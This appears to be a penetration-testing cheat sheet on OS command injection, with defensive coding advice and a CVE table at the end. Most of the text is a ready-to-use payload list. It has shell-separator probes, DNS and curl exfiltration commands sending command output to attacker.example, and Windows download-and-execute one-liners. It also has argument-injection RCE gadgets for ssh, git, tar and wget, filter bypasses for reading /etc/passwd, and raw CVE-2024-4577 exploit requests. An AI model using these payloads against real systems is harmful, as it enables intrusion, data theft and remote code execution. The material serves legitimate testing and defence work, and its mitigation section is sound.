OS Command Injection occurs when user input is concatenated into a shell command, letting an attacker append commands or flags. Detect with separator probes (; | & && ||), command substitution ($() or backticks), and time-based blind tests (sleep 10). When a verb is fixed, pivot to argument injection — supplying a value that begins with - or -- to introduce new flags into curl, ssh, git, find or tar.
Remember argument injection: even when separators are filtered, "value" → "-oProxyCommand=id victim" reaches RCE through ssh, git --upload-pack, find -exec, tar --checkpoint-action and similar coreutils. Filename-based injection through unzip/ffmpeg/convert pipelines is the same class. The fix is list-form process invocation plus -- end-of-options sentinels.
Classic shell-metacharacter injection: ; | & && || \n and command substitution. The first probes to send when a parameter looks like it lands in a shell command. Works against Unix /bin/sh -c and Windows cmd.exe (separator semantics differ).
; id
Semicolon ends the first command and runs id sequentially. Unix /bin/sh -c respects ; — Windows cmd.exe does not, so use & on Windows.
| id
Pipes stdout of the original command into stdin of id. id ignores stdin so it just runs — works on both Unix and Windows.
& id
Unix backgrounds the first command and immediately runs id; on Windows cmd.exe, & runs commands sequentially (different semantics, same outcome).
&& id
Runs id only if the first command succeeds — useful when the first command predictably succeeds (echo, true, ping localhost).
|| id
Runs id only if the first command fails — flip side of && for parameters that predictably fail (a bogus filename, invalid arg).
`id`
Command substitution: backticks execute id and substitute its stdout in place. Unix only; useful inside double-quoted strings where separators are filtered.
$(id)
POSIX-preferred command substitution. Survives blocklists that strip backticks but not parentheses; works inside both single- and double-quoted contexts.
%0a id
URL-encoded newline acts as a command terminator when the parameter reaches system() through CGI. %0d (CR) sometimes also works on Windows.
'; id; '
When the parameter is single-quoted in the command string, break out, inject id, then re-open the quote so the original command still parses.
| id #
After injecting id, # comments out the remainder of the original command — handy when trailing args would otherwise produce errors.
When command output is not reflected, prove execution through measurable side channels: time delays via sleep/ping/timeout, DNS callbacks via nslookup, or inbound HTTP via curl/wget. OOB DNS works even when egress firewalls block HTTP because internal resolvers usually forward to the internet.
; sleep 10
Most reliable timing oracle on Unix. Repeat with N=0 to confirm baseline, then N=10 to confirm injection — diff in response time confirms execution.
& ping -c 10 127.0.0.1 &
Fallback when sleep is filtered. -c 10 sends 10 ICMP packets at 1 second intervals — produces ~10s delay using only an external binary every Unix system has.
&& ping -n 11 127.0.0.1
Windows ping -n N sends N packets at 1s intervals, producing N-1 second delay. Use 11 for ~10s. && is preferred — & has different cmd.exe semantics.
| timeout 10
timeout.exe is a builtin Windows command that pauses execution for N seconds — cleaner than ping for timing oracles when present.
$(sleep 10)
Command substitution form — works when separators are filtered but $() is not. Embeds inside other strings without breaking quoting.
; nslookup $(whoami).c.attacker.example
Encodes whoami output as a DNS subdomain. Internal resolvers forward to authoritative servers — yields exfil even when HTTP egress is blocked.
| nslookup `id|base64`.c.attacker.example
base64 keeps DNS labels valid (no /, no =, no +) by encoding multi-line id output into a single label-safe string.
; curl http://attacker.example/?d=$(id|base64 -w0)
When egress permits HTTP, curl beats DNS for high-throughput exfil. -w0 prevents base64 from inserting line breaks that mangle the URL.
& powershell -c "Resolve-DnsName $(whoami).c.attacker.example"
Windows equivalent of nslookup chain. Resolve-DnsName is PowerShell's DNS client — works without internet egress because internal DNS servers usually forward.
; perl -e 'sleep 10';
When sleep, ping and timeout are all filtered, perl -e is a near-universal scripting fallback present on most Linux servers.
Separator semantics, env-var syntax, and binary names differ. Probe both syntaxes when the target OS is unknown — failures often leak the OS through error messages.
& whoami
cmd.exe treats & as sequential command separator. whoami is a builtin Windows command that always succeeds — clean confirmation.
& certutil -urlcache -split -f http://a/x.exe x.exe & x.exe
certutil is a signed Microsoft binary that doubles as a downloader (LOLBAS). -urlcache -split -f fetches a file from URL; the second & runs it.
& curl http://a/x.exe -o x.exe & x.exe
Modern Windows ships curl.exe. -o writes to file; the second & immediately executes — same pattern as certutil but without LOLBAS detection.
%COMSPEC% /c whoami
When cmd.exe is filtered, %COMSPEC% expands to the same binary. Useful against denylists matching literal "cmd".
; powershell -enc <base64-utf16le>
PowerShell -enc accepts base64-encoded UTF-16LE — bypasses character filters that block obvious PowerShell cmdlet names.
| iex(New-Object Net.WebClient).DownloadString('http://a/x')Invoke-Expression (iex) executes a remote PowerShell script in memory — classic fileless RCE. WebClient.DownloadString fetches the body as a string.
; echo ${BASH_VERSION:0:1}Probes whether the spawned shell is bash (returns 4 or 5) vs sh/dash (empty). Determines whether bashisms like BASH_ENV are reachable.
When the command verb is fixed but the attacker controls a flag/argument value, supplying a value beginning with - or -- introduces a new flag that changes the program's behavior. Defeats naive sanitizers that only filter shell metacharacters.
--output /tmp/sh -d @/etc/shadow http://attacker.example/
curl reads -d @file from disk and uploads it as POST body. Combined with --output (or -o) writing a fake binary, this exfiltrates files and drops a payload in one call.
-oProxyCommand=id victim
ssh -oProxyCommand=<cmd> spawns the supplied command as a proxy — runs id immediately on the local host. The "victim" hostname never needs to resolve.
clone --upload-pack="id" attacker:repo.git
git's --upload-pack overrides the SSH command run on the remote — but more importantly, when the URL is local or the protocol is custom, the value runs locally. Exploited in many CI/CD webhook handlers.
--checkpoint=1 --checkpoint-action=exec=sh attacker.tar
GNU tar --checkpoint-action=exec=COMMAND runs COMMAND every N records — instant arbitrary execution when an attacker controls tar arguments (resume parsers, backup tools).
. -exec /bin/sh \; -quit
-exec /bin/sh \; spawns a shell as the find user; -quit makes it exit after the first match. Common privilege-escalation gadget when find is reachable in a SUID context.
--use-askpass=/path/to/evil http://attacker/
wget --use-askpass executes the supplied program to obtain credentials — argument injection yields RCE when wget is wrapped in webhooks or automation.
-T -TT 'sh #' /tmp/x.zip /etc/passwd
zip -T -TT <CMD> runs CMD to "test" the archive — sh # is the shell with # commenting out the rest of the line zip appends. RCE in unzip/zip wrappers.
-Dexec.executable=/bin/sh -Dexec.args='-c id' exec:exec
Maven's exec:exec plugin reads -Dexec.executable and -Dexec.args from the CLI — injecting these into a CI webhook reaches arbitrary command execution.
Naive blocklists strip space, slash, quotes, or specific characters. Bypasses use $IFS for whitespace, brace/glob expansion for slashes, hex/printf for letters, and base64 round-trip for arbitrary content.
cat${IFS}/etc/passwd$IFS (Internal Field Separator) defaults to space-tab-newline. ${IFS} substitutes a literal space at parse time — defeats space-based blocklists.
cat${IFS}$9/etc/passwd$9 is the 9th positional parameter, almost always empty — appending it after $IFS prevents shell from glomming the variable name with the next character.
{cat,/etc/passwd}Brace expansion splits on commas — produces "cat /etc/passwd" without using a literal space character.
cat</etc/passwd
Redirects file content to cat's stdin instead of passing as argument — eliminates the space between cat and the path.
X=$'\x20';cat${X}/etc/passwdBash's $'...' ANSI-C quoting decodes hex escapes — assigns a literal space to X, then expands ${X} between cat and the path.
/???/?s
Glob expansion: /??? matches /bin (and /opt, /sbin); ?s matches "ls" — runs without typing letters that may be filtered.
/???/??t /???/p??sw?
Same glob technique for "cat /etc/passwd" — bypasses denylists targeting "cat", "etc", or "passwd" literals.
w'h'o'am'i
Single quotes around individual characters concatenate at parse time — w'h'o'am'i evaluates to whoami. Defeats keyword denylists.
bash<<<$(base64 -d<<<"aWQ=")
<<< is a here-string. Decodes "aWQ=" → "id" then feeds to bash — runs arbitrary commands using only base64-safe characters.
BASH_ENV=/dev/stdin bash <<<id
When the spawned shell is bash -c (not sh -c) and the application allows attacker-controlled env vars, BASH_ENV=/dev/stdin runs the here-string before the main command — RCE without any separator characters.
Windows code-page conversion best-fit-maps soft hyphen 0xAD to ASCII hyphen — re-enabling CVE-2012-1823-style argument injection on patched PHP for Windows when CGI is in use. Mass-exploited Q1 2025.
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: target <?php system($_GET['c']); ?>
The %AD (soft hyphen, U+00AD) is best-fit-mapped to "-" by Windows code-page conversion, slipping past CGI's normal "-" escape — letting the attacker pass -d switches to PHP and reach php://input for remote PHP execution.
/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
Same primitive without a body — yields configuration tampering that auto-includes attacker-supplied PHP from php://input on every subsequent request.
/index.php?%ADn+%ADd+allow_url_include%3don+%ADd+auto_prepend_file%3dphp://input
Adds -n to disable php.ini loading, neutralising hardening directives. watchTowr labs published this variant.
Soft-hyphen 0xAD becomes - after Windows MBCS best-fit conversion, re-enabling CVE-2012-1823-style argument injection on patched PHP for Windows when CGI is in use. Mass exploitation observed in Q1 2025.
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
git's --upload-pack, --receive-pack, core.fsmonitor and core.gitProxy accept arbitrary commands and are reachable through unsanitized clone URLs in GitHub/GitLab/Jenkins integrations. Same pattern with npm run <user-controlled>, jq -e --slurpfile, and mvn -Dexec.executable.
git clone --upload-pack='id' http://attacker/repo.git
When the spawned shell is bash -c (not sh -c) and the application allows attacker-controlled env vars (CGI, headers reflected to env), BASH_ENV=/dev/stdin or BASH_ENV=http://... yields RCE without any shell metacharacters.
Cookie: BASH_ENV=/dev/stdin ... body containing shell commands ...
$IFS substitutes whitespace; brace expansion and globs reach paths without literal slashes; quote-mangling defeats keyword filters; printf $'\x..' reconstructs arbitrary characters from hex.
cat${IFS}/etc/passwd / /???/??t /???/p??sw?Once a command runs as a privileged user (sudo, SUID, root cron), GTFOBins maps every common binary to a /bin/sh spawn — find -exec /bin/sh \;, tar --checkpoint-action, awk 'BEGIN{system("/bin/sh")}', vim -c ':!/bin/sh', less !sh, env /bin/sh.
Recurring 2024 pattern across major network vendors: web/CLI boundary enables injection in show/exec/ping/traceroute parameters where the management UI passes user-supplied strings into the device CLI without escaping.
Uploaded filenames passed unquoted to convert, ffmpeg, unzip and tar become argument injection — magic filenames like - or --checkpoint-action=exec=sh become flags. Same class as argument injection but reachable via file-upload UI.
tar -xf -checkpoint-action=exec=sh malicious.tar (filename starts with -)
Replace system("mkdir ...") with os.makedirs / Files.createDirectories / fs.mkdir / Directory.CreateDirectory. Replace shelling out to curl with the language's HTTP client. Replace ImageMagick with libvips/Pillow/ImageSharp. The shell is the attack surface — remove it.
# GOOD — language-native APIs, no shell, no command parsing
import os, shutil, requests, pathlib
pathlib.Path(target_dir).mkdir(parents=True, exist_ok=True)
shutil.copyfile(src, dst)
resp = requests.get(url, timeout=10)
# BAD — shells out unnecessarily
os.system(f"mkdir -p {target_dir}") # command injection
os.system(f"curl {url} -o /tmp/x") # command injectionWhen you must execute a process, pass arguments as a list with shell=False so each element is a positional argument and never reinterpreted by /bin/sh -c. check=True raises on non-zero exit — fail loud.
import subprocess
# GOOD — list form, no shell, args are positional
subprocess.run(
["nmap", "-sT", target],
shell=False,
check=True,
capture_output=True,
timeout=60,
)
# BAD — string with shell=True interprets metacharacters
subprocess.run(f"nmap -sT {target}", shell=True)
os.system(f"nmap -sT {target}")
os.popen(f"nmap -sT {target}")child_process.exec spawns a shell and reinterprets its arguments — every shell metacharacter is dangerous. execFile takes a command and an args array, spawning the binary directly with no shell.
const { execFile } = require('child_process');
// GOOD — execFile spawns binary directly, args are positional
execFile('ping', ['-c', '1', host], { timeout: 5000 }, (err, stdout, stderr) => {
if (err) return cb(err);
cb(null, stdout);
});
// BAD — exec reinterprets via /bin/sh -c
const { exec } = require('child_process');
exec(`ping -c 1 ${host}`, cb); // command injection
exec('ping -c 1 ' + host, cb); // command injectionProcessBuilder takes a list of strings: the first is the command, the rest are arguments — no shell, no concatenation. Runtime.exec(String) splits on whitespace and is dangerous; always prefer ProcessBuilder or Runtime.exec(String[]).
import java.util.List;
// GOOD — ProcessBuilder with separate arguments
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", host);
pb.redirectErrorStream(true);
Process p = pb.start();
// GOOD — Runtime.exec(String[]) form
Runtime.getRuntime().exec(new String[] { "ping", "-c", "1", host });
// BAD — Runtime.exec(String) splits on whitespace, sh -c invocation reinterprets
Runtime.getRuntime().exec("ping -c 1 " + host); // injection
Runtime.getRuntime().exec("sh -c 'ping -c 1 " + host + "'"); // injectionGo's os/exec spawns processes directly via execve — Command takes the binary then variadic args, never invoking a shell unless you explicitly call sh -c. Avoid the latter form entirely.
package main
import (
"context"
"os/exec"
"time"
)
// GOOD — separate args, no shell
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
out, err := exec.CommandContext(ctx, "ping", "-c", "1", host).Output()
// BAD — sh -c reinterprets metacharacters
exec.Command("sh", "-c", "ping -c 1 "+host).Run() // injection
exec.Command("bash", "-c", fmt.Sprintf("ping %s", host)).Run() // injectionPHP 7.4+ accepts an array form for proc_open / pcntl_exec that bypasses shell parsing entirely. For legacy code stuck on system/exec, escapeshellarg quotes a single argument safely — but escapeshellcmd is NOT safe and must not be used.
<?php
// BEST — proc_open with array form (PHP 7.4+) — no shell
$descriptors = [0 => ['pipe','r'], 1 => ['pipe','w'], 2 => ['pipe','w']];
$proc = proc_open(['ping', '-c', '1', $host], $descriptors, $pipes);
$stdout = stream_get_contents($pipes[1]);
proc_close($proc);
// ACCEPTABLE for legacy — escapeshellarg quotes a single arg
system('ping -c 1 ' . escapeshellarg($host));
// BAD — escapeshellcmd is NOT safe; concatenation still vulnerable
system('ping -c 1 ' . escapeshellcmd($host)); // still injectable via -flag
system("ping -c 1 $host"); // direct injectionEven with list-form invocation, a value beginning with - is interpreted as a flag. Pass -- before user-controlled positional args to terminate option parsing: git clone -- "$URL", curl -- "$URL", grep -- "$PATTERN" file.
# GOOD — -- terminates option parsing; subsequent args are always positional git clone -- "$URL" curl -- "$URL" grep -- "$PATTERN" file.txt rm -- "$FILE" # BAD — value starting with - becomes a flag git clone "$URL" # if URL = "--upload-pack=id" → RCE curl "$URL" # if URL = "-o/tmp/x http://a/" → file overwrite rm "$FILE" # if FILE = "-rf /" → catastrophe
Strict allowlists for user-supplied values: numeric → ^\d+$, hostname → RFC-1123 regex, IP → parse with the language's IP type. Run process spawners under unprivileged service accounts; constrain with seccomp / AppArmor / Windows job objects. Log every external exec and alert on shell metacharacters in arguments.
import re, ipaddress, subprocess, logging
HOST_RE = re.compile(r'^(?=.{1,253}$)(?!-)[A-Za-z0-9-]{1,63}(?<!-)(\.(?!-)[A-Za-z0-9-]{1,63}(?<!-))*$')
def safe_ping(host: str) -> bytes:
# 1. allowlist — reject anything not a valid hostname or IP
try:
ipaddress.ip_address(host)
except ValueError:
if not HOST_RE.match(host):
raise ValueError("invalid host")
# 2. log
logging.info("exec ping host=%s", host)
# 3. list form, no shell, timeout
return subprocess.check_output(
["ping", "-c", "1", "--", host],
timeout=5,
stderr=subprocess.STDOUT,
)| CVE | Year | Title | Description |
|---|---|---|---|
| CVE-2024-4577 | 2024 | PHP-CGI on Windows best-fit argument injection | Soft-hyphen 0xAD best-fit-mapped to ASCII hyphen revives CVE-2012-1823 argument injection on patched PHP-CGI for Windows; -d allow_url_include + auto_prepend_file=php://input yields unauthenticated RCE. Mass-exploited in 2025. |
| CVE-2024-3400 | 2024 | Palo Alto GlobalProtect unauthenticated command injection | Pre-auth command injection in PAN-OS GlobalProtect feature exploited in the wild by nation-state actors; KEV-listed by CISA in April 2024. |
| CVE-2024-23897 | 2024 | Jenkins CLI args4j argument injection | Argument injection via Jenkins CLI's expandAtFiles + args4j combination — attackers read arbitrary files and frequently pivot to RCE through Groovy or job-config writes. KEV-listed. |
| CVE-2024-21887 | 2024 | Ivanti Connect Secure command injection | Authenticated command injection in web components, chained with CVE-2023-46805 auth bypass for unauthenticated RCE — exploited at scale against thousands of Ivanti VPN appliances. |
| CVE-2024-20399 | 2024 | Cisco NX-OS authenticated CLI command injection | Authenticated CLI command injection via crafted argument in Cisco NX-OS switches; KEV-listed by CISA. Demonstrates the network-device CLI-boundary pattern. |
| CVE-2024-3721 | 2024 | TBK DVR command injection (weaponised by Mirai/Nexcorium) | Command injection via mdb / mdc HTTP parameters in TBK DVRs — directly weaponised by Mirai-variant Nexcorium for IoT botnet recruitment. |
| FG-IR-24-344 | 2024 | Fortinet FortiOS CLI OS command injection | OS command injection in a FortiOS CLI subcommand exposed across multiple FortiGate models — same network-device boundary pattern as Cisco/Ivanti/Juniper 2024 disclosures. |